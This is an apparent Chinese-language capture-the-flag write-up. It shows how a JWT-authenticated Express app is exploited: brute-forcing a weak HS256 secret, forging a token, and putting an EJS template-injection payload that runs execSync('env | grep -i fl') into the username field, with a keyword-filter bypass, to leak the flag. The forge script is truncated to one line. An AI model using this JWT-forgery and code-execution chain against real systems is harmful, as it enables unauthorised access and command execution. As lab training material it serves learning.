2026-10-13-JWT
第 0 步 · 侦察 curl -s -i http://<目标>/ | head -40
结果:200,text/html,ETag 是 Express 风格;页面是”登录/注册”,只有”邮箱”一个字段,没有密码框。表单 action 指向 /login 和 /register。
第 1 步 · 注册一个账号,拿到 JWT curl -s -i -X POST http://<目标>/register -d “email=test@example.com”
返回 302,响应头里:
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAZXhhbXBsZS5jb20iLCJ1c2VybmFtZSI6InVzZXJfZDM5...; HttpOnly
拿到 token。
第 2 步 · 解码 JWT,看 payload 结构 把 token 按 . 分成三段,中间那段 base64url 解码:
header: {“alg”:”HS256”,”typ”:”JWT”} payload: {“email”:”test@example.com”,”username”:”user_d883e99434fd”,”iat”:1791872187,”exp”:1792476987}
关键信息:
- 算法 HS256,密钥未知(下一步爆破)
- username 是自动生成的 “user_<随机hex>”,但它是 JWT 里的字段 → 可控(只要能伪造签名)
第 3 步 · 爆破 JWT 密钥 用常见弱密钥对 “header.payload” 做 HMAC-SHA256 重签,和原签名比对:
for s in secret password key jwt jwt_secret 123456 … : sig = base64url(hmac_sha256(s, “header.payload”)) if sig == 原始签名: 命中
命中结果:密钥 = secret(server.js 第11行硬编码 const JWT_SECRET = ‘secret’)
第 4 步 · 确认 SSTI 注入点 源码里(writeup 已给出): renderedUsername = ejs.render(String(currentUser.username), { user: currentUser, process });
username 被直接丢进 ejs.render,而且把 process 对象传进了模板作用域 → 可以 RCE。
第 5 步 · 伪造 JWT,username 塞 EJS 载荷 用密钥 secret 自签一个 token,username 设为:
<%= global.process.mainModule.require(‘child_process’).execSync(‘env | grep -i fl’).toString() %>
(题目过滤了 flag/key/sec 等关键词,用 env | grep -i fl 绕过,因为字符串里没有字面 “flag”)
完整伪造脚本(Python):
1 | import json, base64, hmac, hashlib, time, urllib.request |
第 6 步 · 读 flag 返回页面里”欢迎,”后面直接吐出环境变量:
欢迎,FLAG=SYC{LMAO}